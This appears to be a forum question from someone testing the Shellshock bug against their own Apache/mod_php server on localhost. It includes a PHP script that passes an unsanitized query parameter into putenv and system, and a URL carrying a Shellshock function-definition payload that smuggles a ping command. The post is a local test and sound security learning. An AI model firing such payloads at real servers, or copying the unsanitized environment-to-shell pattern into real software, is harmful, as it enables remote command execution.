I have been trying to test shellshock vulnerability on PHP similar to this answer. I am running Apache server with PHP running as mod_php. The PHP version is 5.3.10.
I have a phpfile (phptest.php):
<?php
function getLang()
{
if (isset($_GET["lang"]) && !empty($_GET["lang"]))
{
$lang = $_GET["lang"];
}
return $lang;
}
$language = getLang();
putenv("LANGUAGE=$language");
system("env | grep LANGUAGE");
?>
I tried to access the page via the browser as follows:
localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost
In the linked question, the wget is to the dev's IP, but I just decided to do a ping to see I can test it.
The browser shows the output as follows:
LANGUAGE=(){:;}; /bin/ping http://localhost
I tried to monitor the ping using the following (from this question):
sudo tcpdump -i lo icmp and icmp[icmptype]=icmp-echo
I didn't see any request. Can someone tell what do I need correct in my test ?